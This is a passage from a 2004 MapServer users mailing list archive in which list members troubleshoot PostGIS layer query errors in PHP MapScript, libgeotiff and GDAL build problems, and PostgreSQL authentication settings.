>  st_w      | integer              |
>  the_geom  | geometry             |
>  usfscode  | character varying(7) |
>  nf1       | character varying(3) |
>  nf2       | character varying(3) |
>  nf3       | character varying(3) |
>  geoloc    | character varying(4) |
> Indexes:
>     "quad24k_gist" gist (the_geom)
>     "quad24k_oid" btree (oid) 




From jonasmelo at hotmail.com  Fri Jan 16 08:21:39 2004
From: jonasmelo at hotmail.com (Jonas Melo)
Date: Fri, 16 Jan 2004 14:21:39 -0200
Subject: [Mapserver-users] Attribute Query
Message-ID: 

Hello,



    I am evaluating the mapserver.

    I would like to know how to perform queries based on shape attributes.

    For example:

       ?Find and map the parcel belonging to Mr. John Louis."

    Is it possible to perform this kind of task?

    Thank you very much for your attention



Jonas Melo

_________________________________________________________________
MSN Messenger: converse com os seus amigos online.  
http://messenger.msn.com.br



From eric at gomoos.org  Fri Jan 16 08:49:06 2004
From: eric at gomoos.org (Eric Bridger)
Date: 16 Jan 2004 11:49:06 -0500
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <4008091C.1@nacse.org>
References: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage>
 <4008091C.1@nacse.org>
Message-ID: <1074271752.1542.21.camel@ubet.gomoos.org>

I am also experiencing very similiar symptoms. Code which is working on
our development server MS 4.0.1 and Postgres 7.3.4 is failing on our
production server. Both Free BSD 4.8.  But I'm not sure how to check the
PostGIS version?

The SQL reported by PostGIS as an error in fact runs fine from psql.???

Eric


On Fri, 2004-01-16 at 10:54, Dylan Keon wrote:
> Thanks.  I tried that already in psql and the query works fine.
> 
> Any possibility this could be a problem with PostGIS 0.8.x?  I ask only 
> because two of us on the list are having very similar problems right now.
> 
> My versions again:  MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.
> 
> Thanks for any additional insights...
> 
> --Dylan
> 
> 
> Mark Cave-Ayland wrote:
> 
> > Hi Dylan,
> > 
> > Sometimes working with PostGIS/Mapserver I find that error messages
> > don't always make it through to Mapserver. A good trick is to copy the
> > query from the select without the cursor declaration, paste it into a
> > psql session, and you should then see the exact error message being
> > generated by PostgreSQL.
> > 
> > For example, in your case, type the following in psql and see if it
> > gives a more verbose error message:
> > 
> > SELECT nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
> > ,OID::text 
> > from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
> > 577205)'::BOX3D, find_srid('','quad24k','the_geom') )
> > 
> > Cheers,
> > 
> > Mark.
> > 
> >>-----Original Message-----
> >>From: mapserver-users-admin at lists.gis.umn.edu 
> >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> >>Dylan Keon
> >>Sent: 15 January 2004 20:01
> >>To: mapserver-users at lists.gis.umn.edu
> >>Subject: Re: [Mapserver-users] Error when querying PostGIS layer
> >>
> >>
> >>I'd be really grateful if some of you postgis/postgres gurus 
> >>could give 
> >>me a hand with this (see question below) - it's got me 
> >>stumped.  Jason 
> >>Nielsen posted a similar question a little while ago.
> >>
> >>I've already tried GRANT SELECT ON quad24k TO PUBLIC; and 
> >>verified that 
> >>the asbinary SELECT statement following 'DECLARE mycursor 
> >>BINARY CURSOR 
> >>FOR' works in psql.
> >>
> >>TIA for any help.  I pasted some more info at the bottom of 
> >>the message.
> >>
> >>--Dylan
> >>
> >>
> >>Dylan Keon wrote:
> >>
> >>>I'm having trouble querying a PostGIS layer via PHP Mapscript.  The
> >>>layer renders fine in the app and labels get generated, 
> >>
> >>etc.  But I get 
> >>
> >>>an error when trying to query the layer.  It fails when it reaches 
> >>>getShape() - if I comment out that line everything else 
> >>
> >>works.  Also, if 
> >>
> >>>I run this code on a shapefile version of the same layer it 
> >>
> >>works fine.
> >>
> >>>I'm using MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.  Thanks 
> >>>for
> >>>any help.
> >>>
> >>>--Dylan
> >>>
> >>>
> >>
> >>----------------------------------------------------------------------
> >>
> >>> From the apache error log:
> >>>
> >>>PHP Warning:  [MapServer Error]: msDrawMap(): Failed to draw layer 
> >>>named 'quad_index_24k'.  in /opt/httpd/htdocs/test.php on line 132
> >>>PHP Warning:  [MapServer Error]: prep_DB(): Error executing POSTGIS
> >>>DECLARE (the actual query) statement: 'DECLARE mycursor 
> >>
> >>BINARY CURSOR 
> >>
> >>>FOR SELECT 
> >>>
> >>
> >>nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
> >>,OID::text 
> >>
> >>>from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
> >>>577205)'::BOX3D, find_srid('','quad24k','the_geom') )' 


> >>>
> >>>Postgresql reports the error ''


> >>>
> >>>More Help:


> >>>
> >>>Error with POSTGIS data variable. You specified '<check your .map
> >>>file>'.

> >>>Standard ways of specifiying are : 

> >>>(1) 'geometry_column from geometry_table' 

> >>>(2) 'geometry_column from (<sub query>) as foo using unique 
> >>><column name> using SRID=<srid#>' 


> >>>
> >>>Make sure you put in the 'using unique  <column name>' and 
> >>>'using SRID=#' clauses in.
> >>>
> >>>

For more help, please see 
> >>>http://postgis.refractions.net/documentation.php
> >>>
> >>>

Mappostgis.c - version of June 12/2003.
> >>>
> >>>in /opt/httpd/htdocs/test.php on line 132
> >>>PHP Fatal error:  Call to a member function on a non-object in
> >>>/opt/httpd/htdocs/test.php on line 133
> >>>
> >>>
> >> ----------------------------------------------------------------------
> >>
> >> // simple function for testing postgis layer query
> >> function doQuery($map, $map_x, $map_y, $last_extent)
> >> {
> >>         $layer = $map->getLayerByName('quad_index_24k');
> >>         $coords = pix2geo($map, $map_x, $map_y, $last_extent);
> >>         $geo = preg_split("/,/", $coords);
> >>
> >>         // create point object
> >>         $click_pt = ms_newPointObj();
> >>         $click_pt->setXY($geo[0], $geo[1]);
> >>
> >>         // query the map at the point clicked
> >>         @$map->queryByPoint($click_pt, MS_SINGLE, -1);
> >>         $count_results = $layer->getNumResults();
> >> echo "count_results = $count_results
\n";
> >>
> >>         if($count_results > 0) {
> >>                 $layer->open();
> >>                 $result = $layer->getResult(0);
> >> echo "
getResult:
"; print_r($result); ech "
";
> >>                 $resultShape = $layer->getShape(-1,$result->shapeindex);
> >> echo "
getShape:
"; print_r($resultShape); echo "
";
> >>         } else echo "No records returned";
> >>
> >>         $click_pt->free();
> >>         $resultShape->free();
> >> }
> >>
> >> ----------------------------------------------------------------------
> >>
> >> LAYER
> >>   NAME quad_index_24k
> >>   TYPE POLYGON
> >>   CONNECTIONTYPE POSTGIS
> >>   CONNECTION "user=read dbname=oregon"
> >>   DATA "the_geom from quad24k"
> >>   STATUS ON
> >>   MAXSCALE 2400000
> >>   LABELMAXSCALE 600000
> >>   LABELMINSCALE 20000
> >>   TEMPLATE "null"
> >>   CLASS
> >>     OUTLINECOLOR 0 25 140
> >>     COLOR -1 -1 -1
> >>     COLOR 190 230 190
> >>     TEXT ([name] [nf1])
> >>     LABEL
> >>       WRAP " "
> >>       POSITION CC
> >>       SIZE SMALL
> >>       BUFFER 50
> >>       FORCE TRUE
> >>       MINFEATURESIZE 35
> >>     END
> >>   END
> >> END
> >>
> >> ----------------------------------------------------------------------
> > 
> > 
> > 
> > Here are some additional data:
> > 
> > 
> > oregon=# select * from geometry_columns where f_table_name = 'quad24k';
> >  f_table_catalog | f_table_schema | f_table_name | f_geometry_column | coord_dimension | srid |     type     | attrelid | varattnum | stats
> > -----------------+----------------+--------------+-------------------+-----------------+------+--------------+----------+-----------+-------
> >                  | public         | quad24k      | the_geom          |               2 |   -1 | MULTIPOLYGON |    17407 |
> > 19 |
> > (1 row)
> > 
> > 
> > oregon-# \d quad24k
> >             Table "public.quad24k"
> >   Column   |         Type         | Modifiers
> > -----------+----------------------+-----------
> >  gid       | integer              |
> >  area      | double precision     |
> >  perimeter | double precision     |
> >  id        | bigint               |
> >  name      | character varying    |
> >  states    | character varying    |
> >  latlon    | character varying    |
> >  usgscode  | character varying    |
> >  scale     | character varying    |
> >  ohiocode  | character varying    |
> >  st_s      | integer              |
> >  st_w      | integer              |
> >  the_geom  | geometry             |
> >  usfscode  | character varying(7) |
> >  nf1       | character varying(3) |
> >  nf2       | character varying(3) |
> >  nf3       | character varying(3) |
> >  geoloc    | character varying(4) |
> > Indexes:
> >     "quad24k_gist" gist (the_geom)
> >     "quad24k_oid" btree (oid) 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From keon at nacse.org  Fri Jan 16 09:21:37 2004
From: keon at nacse.org (Dylan Keon)
Date: Fri, 16 Jan 2004 09:21:37 -0800
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <1074271752.1542.21.camel@ubet.gomoos.org>
References: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage> 	<4008091C.1@nacse.org> <1074271752.1542.21.camel@ubet.gomoos.org>
Message-ID: <40081DA1.1080300@nacse.org>

To check your PostGIS version go to 
postgresql-7.x.x/contrib/postgis-0.x.x.  In my case, I left the postgis 
directory name as postgis-0.8.1.  Or you can look at the top lines in 
CHANGES or README.postgis.

Yes, the SQL reported by PostGIS as an error runs fine from psql.  Is 
that the same in your case?

--Dylan


Eric Bridger wrote:

> I am also experiencing very similiar symptoms. Code which is working on
> our development server MS 4.0.1 and Postgres 7.3.4 is failing on our
> production server. Both Free BSD 4.8.  But I'm not sure how to check the
> PostGIS version?
> 
> The SQL reported by PostGIS as an error in fact runs fine from psql.???
> 
> Eric
> 
> 
> On Fri, 2004-01-16 at 10:54, Dylan Keon wrote:
> 
>>Thanks.  I tried that already in psql and the query works fine.
>>
>>Any possibility this could be a problem with PostGIS 0.8.x?  I ask only 
>>because two of us on the list are having very similar problems right now.
>>
>>My versions again:  MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.
>>
>>Thanks for any additional insights...
>>
>>--Dylan
>>
>>
>>Mark Cave-Ayland wrote:
>>
>>
>>>Hi Dylan,
>>>
>>>Sometimes working with PostGIS/Mapserver I find that error messages
>>>don't always make it through to Mapserver. A good trick is to copy the
>>>query from the select without the cursor declaration, paste it into a
>>>psql session, and you should then see the exact error message being
>>>generated by PostgreSQL.
>>>
>>>For example, in your case, type the following in psql and see if it
>>>gives a more verbose error message:
>>>
>>>SELECT nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
>>>,OID::text 
>>>from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
>>>577205)'::BOX3D, find_srid('','quad24k','the_geom') )
>>>
>>>Cheers,
>>>
>>>Mark.
>>>
>>>
>>>>-----Original Message-----
>>>>From: mapserver-users-admin at lists.gis.umn.edu 
>>>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
>>>>Dylan Keon
>>>>Sent: 15 January 2004 20:01
>>>>To: mapserver-users at lists.gis.umn.edu
>>>>Subject: Re: [Mapserver-users] Error when querying PostGIS layer
>>>>
>>>>
>>>>I'd be really grateful if some of you postgis/postgres gurus 
>>>>could give 
>>>>me a hand with this (see question below) - it's got me 
>>>>stumped.  Jason 
>>>>Nielsen posted a similar question a little while ago.
>>>>
>>>>I've already tried GRANT SELECT ON quad24k TO PUBLIC; and 
>>>>verified that 
>>>>the asbinary SELECT statement following 'DECLARE mycursor 
>>>>BINARY CURSOR 
>>>>FOR' works in psql.
>>>>
>>>>TIA for any help.  I pasted some more info at the bottom of 
>>>>the message.
>>>>
>>>>--Dylan
>>>>
>>>>
>>>>Dylan Keon wrote:
>>>>
>>>>
>>>>>I'm having trouble querying a PostGIS layer via PHP Mapscript.  The
>>>>>layer renders fine in the app and labels get generated, 
>>>>
>>>>etc.  But I get 
>>>>
>>>>
>>>>>an error when trying to query the layer.  It fails when it reaches 
>>>>>getShape() - if I comment out that line everything else 
>>>>
>>>>works.  Also, if 
>>>>
>>>>
>>>>>I run this code on a shapefile version of the same layer it 
>>>>
>>>>works fine.
>>>>
>>>>
>>>>>I'm using MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.  Thanks 
>>>>>for
>>>>>any help.
>>>>>
>>>>>--Dylan
>>>>>
>>>>>
>>>>
>>>>----------------------------------------------------------------------
>>>>
>>>>
>>>>>From the apache error log:
>>>>>
>>>>>PHP Warning:  [MapServer Error]: msDrawMap(): Failed to draw layer 
>>>>>named 'quad_index_24k'.  in /opt/httpd/htdocs/test.php on line 132
>>>>>PHP Warning:  [MapServer Error]: prep_DB(): Error executing POSTGIS
>>>>>DECLARE (the actual query) statement: 'DECLARE mycursor 
>>>>
>>>>BINARY CURSOR 
>>>>
>>>>
>>>>>FOR SELECT 
>>>>>
>>>>
>>>>nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
>>>>,OID::text 
>>>>
>>>>>from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
>>>>
>>>>>577205)'::BOX3D, find_srid('','quad24k','the_geom') )' 


>>>>>
>>>>>Postgresql reports the error ''


>>>>>
>>>>>More Help:


>>>>>
>>>>>Error with POSTGIS data variable. You specified '<check your .map
>>>>>file>'.

>>>>>Standard ways of specifiying are : 

>>>>>(1) 'geometry_column from geometry_table' 

>>>>>(2) 'geometry_column from (<sub query>) as foo using unique 
>>>>><column name> using SRID=<srid#>' 


>>>>>
>>>>>Make sure you put in the 'using unique  <column name>' and 
>>>>>'using SRID=#' clauses in.
>>>>>
>>>>>

For more help, please see 
>>>>>http://postgis.refractions.net/documentation.php
>>>>>
>>>>>

Mappostgis.c - version of June 12/2003.
>>>>>
>>>>>in /opt/httpd/htdocs/test.php on line 132
>>>>>PHP Fatal error:  Call to a member function on a non-object in
>>>>>/opt/httpd/htdocs/test.php on line 133
>>>>>
>>>>>
>>>>
>>>>----------------------------------------------------------------------
>>>>
>>>>// simple function for testing postgis layer query
>>>>function doQuery($map, $map_x, $map_y, $last_extent)
>>>>{
>>>>        $layer = $map->getLayerByName('quad_index_24k');
>>>>        $coords = pix2geo($map, $map_x, $map_y, $last_extent);
>>>>        $geo = preg_split("/,/", $coords);
>>>>
>>>>        // create point object
>>>>        $click_pt = ms_newPointObj();
>>>>        $click_pt->setXY($geo[0], $geo[1]);
>>>>
>>>>        // query the map at the point clicked
>>>>        @$map->queryByPoint($click_pt, MS_SINGLE, -1);
>>>>        $count_results = $layer->getNumResults();
>>>>echo "count_results = $count_results
\n";
>>>>
>>>>        if($count_results > 0) {
>>>>                $layer->open();
>>>>                $result = $layer->getResult(0);
>>>>echo "
getResult:
"; print_r($result); ech "
";
>>>>                $resultShape = $layer->getShape(-1,$result->shapeindex);
>>>>echo "
getShape:
"; print_r($resultShape); echo "
";
>>>>        } else echo "No records returned";
>>>>
>>>>        $click_pt->free();
>>>>        $resultShape->free();
>>>>}
>>>>
>>>>----------------------------------------------------------------------
>>>>
>>>>LAYER
>>>>  NAME quad_index_24k
>>>>  TYPE POLYGON
>>>>  CONNECTIONTYPE POSTGIS
>>>>  CONNECTION "user=read dbname=oregon"
>>>>  DATA "the_geom from quad24k"
>>>>  STATUS ON
>>>>  MAXSCALE 2400000
>>>>  LABELMAXSCALE 600000
>>>>  LABELMINSCALE 20000
>>>>  TEMPLATE "null"
>>>>  CLASS
>>>>    OUTLINECOLOR 0 25 140
>>>>    COLOR -1 -1 -1
>>>>    COLOR 190 230 190
>>>>    TEXT ([name] [nf1])
>>>>    LABEL
>>>>      WRAP " "
>>>>      POSITION CC
>>>>      SIZE SMALL
>>>>      BUFFER 50
>>>>      FORCE TRUE
>>>>      MINFEATURESIZE 35
>>>>    END
>>>>  END
>>>>END
>>>>
>>>>----------------------------------------------------------------------
>>>
>>>
>>>
>>>Here are some additional data:
>>>
>>>
>>>oregon=# select * from geometry_columns where f_table_name = 'quad24k';
>>> f_table_catalog | f_table_schema | f_table_name | f_geometry_column | coord_dimension | srid |     type     | attrelid | varattnum | stats
>>>-----------------+----------------+--------------+-------------------+-----------------+------+--------------+----------+-----------+-------
>>>                 | public         | quad24k      | the_geom          |               2 |   -1 | MULTIPOLYGON |    17407 |
>>>19 |
>>>(1 row)
>>>
>>>
>>>oregon-# \d quad24k
>>>            Table "public.quad24k"
>>>  Column   |         Type         | Modifiers
>>>-----------+----------------------+-----------
>>> gid       | integer              |
>>> area      | double precision     |
>>> perimeter | double precision     |
>>> id        | bigint               |
>>> name      | character varying    |
>>> states    | character varying    |
>>> latlon    | character varying    |
>>> usgscode  | character varying    |
>>> scale     | character varying    |
>>> ohiocode  | character varying    |
>>> st_s      | integer              |
>>> st_w      | integer              |
>>> the_geom  | geometry             |
>>> usfscode  | character varying(7) |
>>> nf1       | character varying(3) |
>>> nf2       | character varying(3) |
>>> nf3       | character varying(3) |
>>> geoloc    | character varying(4) |
>>>Indexes:
>>>    "quad24k_gist" gist (the_geom)
>>>    "quad24k_oid" btree (oid) 
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
> 
> 


From jnielsen at aero-graphics.com  Fri Jan 16 10:27:22 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 11:27:22 -0700
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <40081DA1.1080300@nacse.org>
References: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage>  <4008091C.1@nacse.org> <1074271752.1542.21.camel@ubet.gomoos.org> <40081DA1.1080300@nacse.org>
Message-ID: <1074277642.40082d0a20c40@www.agi-lan.com>

Quoting Dylan Keon :

> To check your PostGIS version go to 
> postgresql-7.x.x/contrib/postgis-0.x.x.  In my case, I left the postgis 
> directory name as postgis-0.8.1.  Or you can look at the top lines in 
> CHANGES or README.postgis.
> 
> Yes, the SQL reported by PostGIS as an error runs fine from psql.  Is 
> that the same in your case?
> 
> --Dylan
> 
> 
> Eric Bridger wrote:

I am seeing the samething here. Originally I had a label error in my map file
now the sql statement runs fine in psql but not through mapserver.  Postgresql
7.3.4 and PostGIS 8.0 here.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From jnielsen at aero-graphics.com  Fri Jan 16 10:30:07 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 11:30:07 -0700
Subject: [Mapserver-users] Geo TIFFs
Message-ID: <1074277807.40082daf9177f@www.agi-lan.com>

Can anyone get the libgeotiff library to compile in order to include GEO TIFF
support in mapserver?

[root at vad3rZIM libgeotiff-1.2.0]# make
gcc -c -O2  -Wall -DCSV_DATA_DIR=\"/usr/local/share/epsg_csv\" -I. -I.    
./libxtiff/xtiff.c
libxtiff/xtiff.c:29: parse error before "xtiffFieldInfo"
libxtiff/xtiff.c:29: warning: type defaults to `int' in declaration of
`xtiffFieldInfo'
...

I have searched high and low through header file after header file and I still
can find no syntax issues or anything that stands out.

Can I somehow build mapserver against gdal in order to get geo tiff support?

I have it built against it already but Im having problems getting a geo tiff to
display. I have a file that is a JPEG which works perfectly with an associated
.wld file. The jpeg was simply made from the TIFF file. The tiff wether I have a
.wld, .tfw or niether will not display. Just like its oriented incorrectly.

Any suggestions?

Thanks, Jason.


-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From eric at gomoos.org  Fri Jan 16 10:36:56 2004
From: eric at gomoos.org (Eric Bridger)
Date: 16 Jan 2004 13:36:56 -0500
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <40081DA1.1080300@nacse.org>
References: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage>
 <4008091C.1@nacse.org> <1074271752.1542.21.camel@ubet.gomoos.org>
 <40081DA1.1080300@nacse.org>
Message-ID: <1074278221.2265.48.camel@ubet.gomoos.org>

Yes. Runs fine in psql.
I suspect some mapserver/postgres/postGIS configuration/library issue
since it works on development but not on production.
But we are running postgis 0.7.5 on both machines.


On Fri, 2004-01-16 at 12:21, Dylan Keon wrote:
> To check your PostGIS version go to 
> postgresql-7.x.x/contrib/postgis-0.x.x.  In my case, I left the postgis 
> directory name as postgis-0.8.1.  Or you can look at the top lines in 
> CHANGES or README.postgis.
> 
> Yes, the SQL reported by PostGIS as an error runs fine from psql.  Is 
> that the same in your case?
> 
> --Dylan
> 



From nacional at cbs.umn.edu  Fri Jan 16 11:45:32 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Fri, 16 Jan 2004 13:45:32 -0600
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074199637.4006fc5547e6a@www.agi-lan.com>
References: <1074191988.4006de74f3577@www.agi-lan.com>
 <1074194030.1511.57.camel@ubet.gomoos.org>
 <1074199637.4006fc5547e6a@www.agi-lan.com>
Message-ID: <1074282332.23124.11.camel@localhost>

Jason,

I believe your problem has something to do with postgresql permissions.
I bet you didn't have a local account named "gis_user".  You can try two
things: 

1. create a local account with the same name as your postgresql/postgis
account.  You can give it a "/bin/false" for shell.

or, 
2. edit your pg_hba.conf and add an entry for your database and database
user with "ident" as your method.  You'll then have to edit
"pg_ident.conf" and map your database user with a local user.

#2 would be the option I'd recommend.  Don't mess with your system
accounts if you don't have to.

Good luck!
-Perry N.

On Thu, 2004-01-15 at 14:47, Jason M. Nielsen wrote:
> Quoting Eric Bridger :
> 
> > Just started using postgis recently and the error messages are a bit
> > cryptic.  Just yesterday I spent an hour staring at a simliar error (you
> > can try running the query i.e. everything after BINARY CURSOR FOR from
> > psql to see if it works).  Until I checked the postgres log and realized
> > that the table created by shp2pgsql had not granted permissions for my
> > web user.  GRANT SELECT ON .... TO PUBLIC fixed the problem.
> > 
> > The using clauses are for advance queries with a sub-select. You are
> > probably using the (1) the_geom from [table_name] form of query.
> > 
> > Note: there is a postgis list at:
> > http://postgis.refractions.net/mailman/listinfo/postgis-users
> 
> Didnt think about that. Good information. I checked and there were no users
> granted privledges to the table so I first added the intended user and
> ultimately public but still no luck. Same error came back.
> 
> Thanks, Jason.
> 
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
Pericles S. Nacionales 
University of Minnesota



From warmerdam at pobox.com  Fri Jan 16 11:48:38 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 16 Jan 2004 14:48:38 -0500
Subject: [Mapserver-users] Geo TIFFs
In-Reply-To: <1074277807.40082daf9177f@www.agi-lan.com>
References: <1074277807.40082daf9177f@www.agi-lan.com>
Message-ID: <40084016.4030902@pobox.com>

Jason M. Nielsen wrote:
> Can anyone get the libgeotiff library to compile in order to include GEO TIFF
> support in mapserver?
> 
> [root at vad3rZIM libgeotiff-1.2.0]# make
> gcc -c -O2  -Wall -DCSV_DATA_DIR=\"/usr/local/share/epsg_csv\" -I. -I.    
> ./libxtiff/xtiff.c
> libxtiff/xtiff.c:29: parse error before "xtiffFieldInfo"
> libxtiff/xtiff.c:29: warning: type defaults to `int' in declaration of
> `xtiffFieldInfo'
> ...
> 
> I have searched high and low through header file after header file and I still
> can find no syntax issues or anything that stands out.

Jason,

Ensure you have libtiff 3.6.0 for libgeotiff 1.2.0.  It is often hard to ensure
libgeotiff gets the right libtiff include files if you have multiple versions
of libtiff on the system.

> Can I somehow build mapserver against gdal in order to get geo tiff support?

If you build GDAL "--with-libtiff=internal" and "--with-geotiff=internal" then
you will have geotiff support in mapserver.  You should then build MapServer
"--without-libtiff" so it doesn't try to use it's built-in tiff support.

Good luck,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From jnielsen at aero-graphics.com  Fri Jan 16 12:42:33 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 13:42:33 -0700
Subject: [Mapserver-users] Geo TIFFs
In-Reply-To: <40084016.4030902@pobox.com>
References: <1074277807.40082daf9177f@www.agi-lan.com> <40084016.4030902@pobox.com>
Message-ID: <1074285753.40084cb9e3165@www.agi-lan.com>

Quoting Frank Warmerdam :

> Jason M. Nielsen wrote:
> > Can anyone get the libgeotiff library to compile in order to include GEO
> TIFF
> > support in mapserver?
> > 
> > [root at vad3rZIM libgeotiff-1.2.0]# make
> > gcc -c -O2  -Wall -DCSV_DATA_DIR=\"/usr/local/share/epsg_csv\" -I. -I.   
> 
> > ./libxtiff/xtiff.c
> > libxtiff/xtiff.c:29: parse error before "xtiffFieldInfo"
> > libxtiff/xtiff.c:29: warning: type defaults to `int' in declaration of
> > `xtiffFieldInfo'
> > ...
> > 
> > I have searched high and low through header file after header file and I
> still
> > can find no syntax issues or anything that stands out.
> 
> Jason,
> 
> Ensure you have libtiff 3.6.0 for libgeotiff 1.2.0.  It is often hard to
> ensure
> libgeotiff gets the right libtiff include files if you have multiple
> versions
> of libtiff on the system.
> 
> > Can I somehow build mapserver against gdal in order to get geo tiff
> support?
> 
> If you build GDAL "--with-libtiff=internal" and "--with-geotiff=internal"
> then
> you will have geotiff support in mapserver.  You should then build
> MapServer
> "--without-libtiff" so it doesn't try to use it's built-in tiff support.
> 
> Good luck,
> 
> -- 
> ---------------------------------------+--------------------------------------
> I set the clouds in motion - turn up   | Frank Warmerdam,
> warmerdam at pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush    | Geospatial Programmer for Rent

I am trying to go the route described using gdal. Everything seems to compile
but nothing appears different from command line options, help etc. I did notice
during configure gdal did indeed explicitly state it was using internal tiff
gtiff. Still the tiff will not display but the jpeg will. Below I have listed
out the results from gdalinfo for the jpeg and tiff file. In the map file all I
do is change the extension from jpg to tif. Id rather not touch my libtiff (at
3.5.7-11) because if I do it will wreck havok on other systems across the board
and I really am not in the mood for another dozen or more compilations that will
in turn require more than like half a dozen more supporting ones. =)

Could the warning 1 be the problem I am having? 

[root at vad3rZIM data]# gdalinfo top10c0.jpg 
Driver: JPEG/JPEG JFIF
Size is 3854, 3773
Coordinate System is `'
Origin = (1512385.000000,7356162.500000)
Pixel Size = (10.000000,-10.000000)
Corner Coordinates:
Upper Left  ( 1512385.000, 7356162.500) 
Lower Left  ( 1512385.000, 7318432.500) 
Upper Right ( 1550925.000, 7356162.500) 
Lower Right ( 1550925.000, 7318432.500) 
Center      ( 1531655.000, 7337297.500) 
Band 1 Block=3854x1 Type=Byte, ColorInterp=Red
Band 2 Block=3854x1 Type=Byte, ColorInterp=Green
Band 3 Block=3854x1 Type=Byte, ColorInterp=Blue

[root at vad3rZIM data]# gdalinfo top10c0.tif
Warning 1: TIFFReadDirectory:top10c0.tif: wrong data type 1 for "XMLPacket"; tag
ignored
Driver: GTiff/GeoTIFF
Size is 3854, 3773
Coordinate System is `'
Origin = (1512385.000000,7356162.500000)
Pixel Size = (10.000000,-10.000000)
Metadata:
  TIFFTAG_SOFTWARE=Adobe Photoshop 7.0
  TIFFTAG_DATETIME=2004:01:14 09:03:52
Corner Coordinates:
Upper Left  ( 1512385.000, 7356162.500) 
Lower Left  ( 1512385.000, 7318432.500) 
Upper Right ( 1550925.000, 7356162.500) 
Lower Right ( 1550925.000, 7318432.500) 
Center      ( 1531655.000, 7337297.500) 
Band 1 Block=3854x1 Type=Byte, ColorInterp=Red
Band 2 Block=3854x1 Type=Byte, ColorInterp=Green
Band 3 Block=3854x1 Type=Byte, ColorInterp=Blue
Warning 1: TIFFReadDirectory:top10c0.tif: wrong data type 1 for "XMLPacket"; tag
ignored

Thanks, Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From Zamil.Murji at divestco.com  Fri Jan 16 12:56:39 2004
From: Zamil.Murji at divestco.com (Zamil Murji)
Date: Fri, 16 Jan 2004 13:56:39 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABE23@div-mx02.divestco.com>

Alternatively, you could edit your pg_hba.conf and add an entry for your database and database user with "trust" (don't remember if it has to be UPPERCASE) as your method. 

I don't suggest this for a production environment, but this is a quick and dirty way to check if this is the issue.

Hope this helps,
Zamil

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Pericles S.
Nacionales
Sent: Friday, January 16, 2004 12:46 PM
To: Jason M. Nielsen
Cc: Eric Bridger; Mapserver List
Subject: Re: [Mapserver-users] Mapserver + PostGIS for dummies.


Jason,

I believe your problem has something to do with postgresql permissions.
I bet you didn't have a local account named "gis_user".  You can try two
things: 

1. create a local account with the same name as your postgresql/postgis
account.  You can give it a "/bin/false" for shell.

or, 
2. edit your pg_hba.conf and add an entry for your database and database
user with "ident" as your method.  You'll then have to edit
"pg_ident.conf" and map your database user with a local user.

#2 would be the option I'd recommend.  Don't mess with your system
accounts if you don't have to.

Good luck!
-Perry N.

On Thu, 2004-01-15 at 14:47, Jason M. Nielsen wrote:
> Quoting Eric Bridger :
> 
> > Just started using postgis recently and the error messages are a bit
> > cryptic.  Just yesterday I spent an hour staring at a simliar error (you
> > can try running the query i.e. everything after BINARY CURSOR FOR from
> > psql to see if it works).  Until I checked the postgres log and realized
> > that the table created by shp2pgsql had not granted permissions for my
> > web user.  GRANT SELECT ON .... TO PUBLIC fixed the problem.
> > 
> > The using clauses are for advance queries with a sub-select. You are
> > probably using the (1) the_geom from [table_name] form of query.
> > 
> > Note: there is a postgis list at:
> > http://postgis.refractions.net/mailman/listinfo/postgis-users
> 
> Didnt think about that. Good information. I checked and there were no users
> granted privledges to the table so I first added the intended user and
> ultimately public but still no luck. Same error came back.
